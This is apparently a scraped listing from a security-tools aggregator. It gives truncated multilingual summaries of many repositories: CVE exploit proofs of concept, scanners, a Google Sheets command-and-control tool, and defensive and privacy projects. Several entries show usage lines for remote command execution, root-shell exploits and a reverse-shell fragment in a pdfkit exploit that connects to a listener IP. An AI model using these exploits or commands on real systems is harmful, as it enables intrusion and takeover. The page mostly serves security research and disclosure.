CVE-2024-23113

CVE-2024-23113 Este script de Python busca en una lista de clientes para ver si su dispositivo FortiGate es vulnerable a este CVE. Cómo Usar 1. Crea un archivo "clients.txt" e importa una lista con las direcciones IP de todos tus clientes. 2. Crea un archivo "vul.txt". Se utilizará para exportar...

CVE-2021-45046

tejas-nagchandi/CVE-2021-45046 Ataque Descripción Se descubrió que la corrección para abordar CVE-2021-44228 en Apache Log4j 2.15.0 era incompleta en ciertas configuraciones no predeterminadas. Esto podría permitir a atacantes con control sobre los datos de entrada del Thread Context Map MDC cuan...

RCE

CVE-2022-31814 WebApp bug root@kitploit: import argparse import requests import time import sys import urllib.parse from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disablewarningsInsecureRequestWarning parser =...

buherablog-cve-2013-1488

Java Pwn2Own exploit - CVE-2013-1488 Proof-of-Concept exploit by axt based on the writeup by James Forshaw Affects JRE versions before 7u21...

alaniz-cipher

Alaniz 密码 v3 基于层的后量子加密，通过向量值有限域置换 一种基于非线性层态射反问题 NL-SMIP 的密码原语：一个具有秘密系数并由图上的层上同调耦合的多项式系统。 论文 v3 ：L. Alaniz Pintos， 《Alaniz 密码 v3：基于层的后量子加密，通过向量值有限域置换》 ，2026 年。 v3 的变化 版本 2 引入了 σSPN 以抵御破坏 v1 的缩放攻击。然而，v2 本身被一种更通用的攻击所破解，该攻击结合了多项式插值与 Gröbner 基计算：任何形式为 c = As + BσAs 且 σ 具有有界多项式次数的确定性加密都允许 CPA...

chub-supply-chain-poc

Context Hub 供应链概念验证 零消毒漏洞 存在于 Context Hub @aisuite/chub v0.1.3 中，允许通过 MCP 文档管线进行静默依赖注入。 参考文献： CWE-94（代码注入）| CWE-829（不可信控制域）| CWE-345（数据真实性验证不足）| OWASP LLM01（提示注入）...

IoT-Vulnerability-Research-Public

Investigación de Seguridad de Hardware y Vulnerabilidades Este repositorio sirve como un archivo público centralizado para mi investigación independiente de vulnerabilidades, auditorías de hardware y Divulgaciones Coordinadas de Vulnerabilidades CVD. Todos los scripts de prueba de concepto,...

CVE-2022-0492

CVE-2022-0492 容器逃逸分析 toc 漏洞简介 漏洞编号: CVE-2022-0492 漏洞产品: linux kernel - cgroup 影响版本: linux kernel 5.17-rc3 漏洞危害: 当容器没有开启额外安全措施时，获得容器内root 权限即可逃逸到宿主机 环境搭建 在存在漏洞版本的内核的linux中使用docker 即可。 root@kitploit: 关闭所有安全防护启动docker docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined"...

OpenCRE

OpenCRE Visita https://www.opencre.org para ver OpenCRE en funcionamiento y más explicaciones. OpenCRE significa Open Common Requirement enumeration enumeración abierta de requisitos comunes. Es una plataforma interactiva de enlace de contenidos para unir estándares y guías de seguridad. Ofrece u...

CVE-2018-10715

CVE-2018-10715 Cronología 2018-04-06: Descubierto 2018-04-13: Prueba del entorno de ensayo 2018-04-16: Comunicación interna 2018-05-03: Notificación al proveedor 2018-05-03: Respuesta del proveedor 2018-05-XX: Aclaraciones técnicas del producto 2018-05-XX: Instrucciones añadidas para solucionar e...

hooky

hooky Este repositorio es un submódulo para https://github.com/markuta/CVE-2024-32002, que contiene un simple hook ubicado en y/hooks/post-checkout para abrir la calculadora en sistemas macOS: root@kitploit: open -a Calculator.app Puedes encontrar más información sobre la vulnerabilidad aquí y aq...

CVE-2021-3156

Baron Samedit - Sudo CVE 2021-3156 PoC 使用 BASH 和 C 编写。 作者：TheFlash2k/Ali Taqi Wajid 用法： root@kitploit: This would spawn a root shell directly if the sudo is vulnerable. $ make $ ./exploit...

Awesome-MoAI-Security

移动端设备端AI安全资源精选 SoK：移动设备端AI系统的攻防全景 移动设备端AI系统通过 LiteRT/TFLite 、Core ML 、ExecuTorch 、ONNX 等机器学习框架以及硬件加速器在本地执行AI模型。本仓库追踪理解和保护此类系统所需的安全研究，因为设备端模型的本地存储引入了新的安全风险。 移动设备端AI系统概览 目录 阅读路线图 分类体系速览 跨支柱安全分析 针对MoAI系统的攻击 对抗性攻击 模型相似性利用 梯度重建 预处理操纵 后门攻击 载荷注入 模型量化 图像隐写 对抗性权重攻击 模型窃取攻击 静态分析 动态分析 侧信道 能耗-延迟攻击 针对MoAI系统的防御...

nullscan

描述 一个模块化框架，旨在链接和自动化安全测试。它从命令行解析目标定义，然后运行相应的模块及其 nullscan-tools。它也可以先接收主机并启动 nmap 执行基本端口扫描，之后再运行模块。此外，nullscan 可以解析给定的 nmap 日志文件，获取打开的 TCP 和 UDP 端口，然后再次运行模块。所有结果将记录在指定目录中，具有清晰的结构，随后可以生成 HTML 报告。 此代码献给我的朋友 Zeljko（安息），他于 2012 年 12 月 2 日逝世。 用法 root@kitploit: hacker@blackarch $ nullscan -H / / / / / /...

nullscan

Description A modular framework designed to chain and automate security tests. It parses target definitions from the command line and runs corresponding modules and their nullscan-tools afterwards. It can also take hosts and start nmap first in order to perform a basic portscan and run the module...

OpenContacts

OpenContacts for Android 保护您的联系人隐私。 翻译 您是否希望看到这个应用以您的母语呈现？请贡献翻译。 关于 此应用将联系人与Android系统分离，存储在自己的数据库中。这样其他应用就无法访问这些联系人。可以作为默认电话（拨号器）应用的替代品使用。 我们可以从Android联系人应用中导出/导入联系人到本应用。 同时维护通话记录，因为Android通话记录应用无法显示联系人姓名。 在收到来电时也会显示联系人姓名。 最新调试应用 最新调试应用可在此处找到。 问题管理...

minicps

MiniCPS MiniCPS es un framework para la simulación en tiempo real de sistemas ciberfísicos. Incluye soporte para la simulación de procesos físicos y dispositivos de control, así como emulación de red. Está construido sobre mininet. MiniCPS es desarrollado por el grupo SCy-Phy de SUTD Universidad ...

CVE-2021-3493

CVE-2021-3493 Escalada local de privilegios en OverlayFS de Ubuntu Versiones afectadas Ubuntu 20.10 Ubuntu 20.04 LTS Ubuntu 19.04 Ubuntu 18.04 LTS Ubuntu 16.04 LTS Ubuntu 14.04 ESM Uso gcc exploit.c -o exploit ./exploit Descripción Problema específico de Ubuntu en el sistema de archivos overlayfs...

OneForAll

OneForAll 👊OneForAll是一款功能强大的子域收集工具 📝English Document 🚀上手指南 📢 请务必花一点时间阅读此文档，有助于你快速熟悉OneForAll！ 🐍安装要求 OneForAll基于Python 3.6.0开发和测试，OneForAll需要高于Python 3.6.0的版本才能运行。 安装Python环境可以参考Python 3 安装指南。运行以下命令检查Python和pip3版本： root@kitploit: python -V pip3 -V 如果你看到类似以下的输出便说明Python环境没有问题： root@kitploit: Python...

log4j2-CVE-2021-45105

Aplicación vulnerable de ejemplo Log4j2 CVE-2021-45105 Versiones afectadas: todas las versiones desde 2.0-beta9 hasta 2.16.0 Esta aplicación está basada en una aplicación web Spring Boot vulnerable a CVE-2021-45105 Utiliza Log4j 2.16.0 Ejecutar la aplicación Ejecútala: root@kitploit: Import the...

CVE-2023-43354-CMSmadesimple-Stored-XSS---MicroTIny-extension

CMSmadesimple XSS Almacenado v2.2.18 Autor: Sergio Descripción: La vulnerabilidad de Cross Site Scripting en CMSmadesimple v.2.2.18 permite a un atacante local ejecutar código arbitrario mediante un script manipulado en los perfiles del editor Extensions - MicroTiny WYSIWYG. Vectores de ataque:...

CVE-2025-5349-Scanner

CVE-2025-5349 漏洞扫描器 用法 root@kitploit: python3 scanner.py 10.0.0.5 10.0.0.6 -p 80 python3 scanner.py netscaler.local --https -p 443...

Python Security Project

🔐 桌面加密文件加密与解密工具 一款生产级 Python 桌面安全工具，旨在通过认证对称加密保护本地文件系统资产。该应用具有基于 Tkinter 构建的响应式图形用户界面（GUI）、独立的加密引擎以及结构化的诊断日志记录。 加密逻辑 加密 ：明文 + 密钥 ── 密文 解密 ：密文 + 同一密钥 ── 明文 🚀 主要特性 Tkinter 桌面界面 ：简洁、响应式的图形用户界面（GUI），具备原生操作系统文件选择器、自适应网格缩放、自定义活动状态颜色过渡以及交互式状态提醒。 解耦架构...

Persistnux

Persistnux Una herramienta integral de detección de persistencia en Linux para investigaciones de Informática Forense y Respuesta a Incidentes DFIR. Resumen Persistnux es una herramienta basada en Bash diseñada para identificar mecanismos de persistencia conocidos en Linux utilizados por atacante...

CVE-2022-46169

CVE-2022-46169 漏洞利用 针对 Cacti 1.2.19 中 CVE-2022-46169 漏洞的利用工具 选项 root@kitploit: -u --url 目标URL -f --forwarded 用于绕过认证的X-Forwarded值 -m --mode: check 用于检查易受攻击的服务器，或 exploit 用于有趣的利用模式 :D 使用 root@kitploit: 1. $ ./cve202246169.py -u http://10.10.10.10/cacti -f 10.10.10.10 -m exploit 2. $ ./cve202246169....

CVE-2022-22954

多个漏洞触发点检测，多线程批量检测，命令执行，文件写入 root@kitploit: // 单个目标漏洞检测 python CVE-2022-22954.py -u https://x.x.x.x // 命令执行 python CVE-2022-22954.py -u https://x.x.x.x -c "id" // 写文件 python CVE-2022-22954.py -u https://x.x.x.x -fn test.jsp -fc "test" // 上传文件，windows 设置文件名需要指定路径 python CVE-2022-22954.py -u...

GC2-sheet

GC2 GC2（Google命令与控制）是一个命令与控制应用程序，允许攻击者使用Google Sheet或Microsoft SharePoint List在目标机器上执行命令，并使用Google Drive或Microsoft SharePoint Document窃取文件。 为什么 该项目旨在提供一种无需特殊设置（如：自定义域名、VPS、CDN等）的命令与控制工具，用于红队活动。 此外，程序仅与Google和Microsoft的域名（如.google.com）交互，以增加网络检测难度。 工作流程 Google Microsoft 功能 命令执行 ：使用Google...

Fast-Google-Dorks-Scan

快速谷歌Dorks扫描 这个OSINT项目的主要思想是收集所有可能的Google dorks搜索组合，并查找特定网站的信息：常见的后台管理面板、常见的文件类型和路径遍历。完全自动化。 使用示例： root@kitploit: chmod +x FGDS.sh ./FGDS.sh hydrattack.com 或 root@kitploit: bash ./FGDS.sh hydrattack.com 使用代理 root@kitploit: bash ./FGDS.sh hydrattack.com 192.168.1.1 8080...

CVE-2022-31297

CVE-2022-31297 Haraj Script 3.7 - 反射型XSS 漏洞利用标题：Haraj Script 3.7 - 反射型XSS 日期：2022-06-13 CVE：CVE-2022-31297 漏洞利用作者：Abdulaziz Saad @b4zb0z 厂商主页：https://angtech.org/ 软件链接：https://angtech.org/product/view/3 版本：3.7 测试环境：LAMP, Ubuntu 漏洞利用：...

CVE-2023-27163-POC

CVE-2023-27163 Poc of SSRF for Request-Baskets CVE-2023-27163 based on this code from entr0pie. The PoC is expanded to fuzz the content of another web service local or otherwise and return the content of the files found. Usage root@kitploit: python3 CVE-2023-27163.py http://: -t http://: -w...

CVE-2018-12613

CVE-2018-12613 Exploit independiente modificado, portado a Python 3. Probado en Python 3.7.3 y phpMyAdmin 4.8.1 sobre Ubuntu 16.04. Solo funciona en Linux. Exploit original de SSD. Todo el crédito es suyo. Cambios realizados 1. Se añadió una función para salir si el nombre de usuario/contraseña d...

CVE-2025-57819-RCE

FreePBX 16 — Unauthenticated SQLi to RCE Resumen: Este documento muestra cómo combinar dos vulnerabilidades de FreePBX 16 CVE-2025-57819 y CVE-2025-61678 para lograr una cadena de ataque completa que permite escalar desde el acceso no autenticado hasta la ejecución remota de código Remote Code...

shining-mask

Shining Mask Hacks Este repositorio contiene código e instrucciones para crear un controlador personalizado de Bluetooth de Baja Energía BLE para la Shining LED Mask que cambia automáticamente la imagen facial de cualquier máscara dentro del alcance BLE. Este repositorio es un complemento de...

Phoenix

主页 | Wiki | 贡献 Phoenix Phoenix 是一套面向 Mozilla Firefox 的配置与高级修改方案，旨在将用户放在首位——重点关注隐私、安全、自由、功能与易用性。 此处为 Phoenix 功能与增强的详细列表。 !NOTE Thunderbird 用户应考虑查看Dove——Phoenix 的姊妹项目。 📖 目录 Phoenix 目录 关于 Phoenix Phoenix 的工作原理 动机 想加入 Phoenix 社区吗？ 安装 安装 扩展版 专用配置 手动安装 手动使用扩展版或专用配置 贡献 许可 声明 致谢 关于 Phoenix Phoenix 的工作原理...

sfop

Segmentation Fault-Oriented Programming SFOP This is the artifacts repository for the Segmentation Fault-Oriented Programming exploitation technique. Artifacts Collection Here we briefly describe the artifacts in this repository. In total, there are eight different artifacts, composed of six PoC...

Damn-Vulnerable-Android-Components

可恶的易受攻击的安卓组件 - DVAC 筛子重生！ 可恶的易受攻击的安卓组件（DVAC）是一款教育性安卓应用，专门暴露和演示与各种安卓组件（如 Activity、Intent、Content Provider 和 Broadcast Receiver）相关的漏洞。它被设计成一个密码管理器应用，用于安全地管理和存储密码（笑）。 受 Sieve 应用程序开创性工作的启发（该应用专注于类似漏洞，但已过时且与新版本安卓不兼容），DVAC 旨在填补空白，为学习安卓安全提供现代、最新的平台。DVAC...

ReconAIzer

ReconAIzer ReconAIzer 是一款强大的 Burp Suite Jython 扩展，利用 OpenAI 帮助漏洞赏金猎人优化其信息收集流程。该扩展可自动化多种任务，使安全研究人员能够更轻松、更快速地识别和利用漏洞。 安装后，ReconAIzer 会添加一个上下文菜单和一个专用标签页来显示结果： 前提条件 Burp Suite Jython Standalone Jar 安装 请按照以下步骤在 Burp Suite 中安装 ReconAIzer 扩展： 第 1 步：下载 Jython 1. 从官方网站下载最新的 Jython Standalone...

CVE-2024-41302-Bookea-tu-Mesa-is-vulnerable-to-SQL-Injection

CVE-2024-41302-Bookea-tu-Mesa-es-vulnerable-a-inyección-SQL- Bookea-tu-Mesa es susceptible a una vulnerabilidad de inyección SQL SQLi. Esta falla permite a los atacantes inyectar comandos SQL maliciosos que pueden manipular la base de datos, comprometiendo potencialmente la integridad de los dato...

opgp-service-cve-2019-9153

CVE-2019-9153 vulnerabilidad reproducir PoC basado en la configuración de BSI investigar la vulnerabilidad de la API de opgp-service ante dicho ataque ejecutar pruebas con: root@kitploit: npm test conclusión: opgp-service está configurado por defecto con AEADprotect=true lo que protege contra el...

py_certificate_extractor

pycertificateextractor 有时需要从数字签名文件中提取证书信息。 当这种情况发生时，使用此工具，你可以轻松完成。 如果有任何变更或所需的新功能，请告知。 功能 从数字签名文件中提取证书信息并导出（另存为）证书文件。仅此而已。 v1.0.0 https://github.com/password123456/digitalsignedpefilecertificateextractor/blob/main/Changes 预览...

cve-2022-36804

Atlassian Bitbucket RCE PoC - CVE-2022-36804 Este repositorio contiene un script PoC simple para la vulnerabilidad de ejecución remota de código de Atlassian Bitbucket. Puedes ejecutar este script simplemente con los siguientes comandos: root@kitploit: echo 'bitbucket.redacted.com' | python3...

CVE-2021-23758-POC

CVE-2021-23758-POC Este repositorio se ha creado con fines de entrenamiento sobre la vulnerabilidad en ajaxpro, divulgada con el ID CVE-2021-23758. POC root@kitploit: POST /ajaxpro/CVE202123758POC.demo,CVE202123758.ashx HTTP/2 Host: localhost:44375 Content-Length: 567 Sec-Ch-Ua: " Not...

auto_extract_offsets

Este repositorio no tiene un README...

ofp_sniffer

OFPSniffer 是一个用于故障排除和学习的 OpenFlow 嗅探器。 当前版本为 1.2，它能解析所有 OpenFlow 1.0 消息，并与 InfluxDB、Grafana 和 Slack 集成。 OpenFlow 1.3 将在 OFPSniffer 版本 1.3 中提供（即将发布）。 它直接在 Linux shell 上工作，并解析线缆上或来自 libpcap 文件的所有 OpenFlow 消息。使用 OFPSniffer，您可以轻松跟踪 OpenFlow 消息及其关联的错误（如果有），而无需打开 X11 或 Wireshark。OFPSniffer 使用 Python 3....

mcp-shark

mcp-shark Escáner de seguridad para herramientas de agentes de IA — creado para ingenieros de seguridad y plataforma que trabajan con MCP en el IDE. Ejecuta un scan estático local sobre las configuraciones del IDE de MCP y los metadatos de herramientas integrados: 41 reglas incluida AAuth...

ms-photos_NTLM_Leak

Fuga de NTLM mediante URI ms-photos de Microsoft Nueva vulnerabilidad que permite filtrar hashes NTLM desde navegadores con un solo clic Por Ruben Enkaoua Descripción El esquema URI ms-photos de Microsoft toma fileName como parámetro, el cual puede ser enviado con una ruta UNC, filtrando hashes...

CVE-2023-23397

CVE-2023-23397 Script de remediación para CVE-2023-23397 PowerShell Hay 3 scripts de PowerShell. Si su software de gestión de parches utiliza un script de evaluación y un script de remediación , use los archivos/scripts correspondientes. Alternativamente, si desea simplemente implementar la...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-漏洞利用-反弹Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' 通过 CURL（修改粗体 值）： curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

CVE-2018-8174_EXP

CVE-2018-8174EXP uso: CVE-2018-8174.py -h -u URL -o OUTPUT -i IP -p PORT Exploit para CVE-2018-8174 argumentos opcionales: -h, --help muestra este mensaje de ayuda y sale -u URL, --url URL url del exploit -o OUTPUT, --output OUTPUT Salida del exploit rtf -i IP, --ip IP ip para netcat -p PORT,...

CVE-2016-5195

描述： dcow 是漏洞 CVE-2016-5195 的一个可能利用程序。 在受影响系统上以非特权用户身份运行该程序，它将修改 /etc/passwd 文件，强制设置密码 "dirtyCowFun"（使用 SHA-512，但可为旧标准修改）。 如果执行成功，使用该密码执行 su 即可获得 root shell。 使用 -s 选项（推荐）将自动打开一个 root shell。 如果 dcow 在不带选项或使用 -n 选项（见下方示例）运行时，会在当前执行目录中创建原始 /etc/passwd 的备份文件 .sshbak。 免责声明：...